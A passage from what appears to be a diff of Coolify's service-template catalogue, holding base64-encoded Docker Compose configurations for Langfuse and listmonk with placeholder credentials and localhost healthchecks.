ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MSVNUTU9OS185MDAwCiAgICAgIC0gJ0xJU1RNT05LX2FwcF9fYWRkcmVzcz0wLjAuMC4wOjkwMDAnCiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fbmFtZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE4LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtIFBPU1RHUkVTX0RCPWxpc3Rtb25rCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgL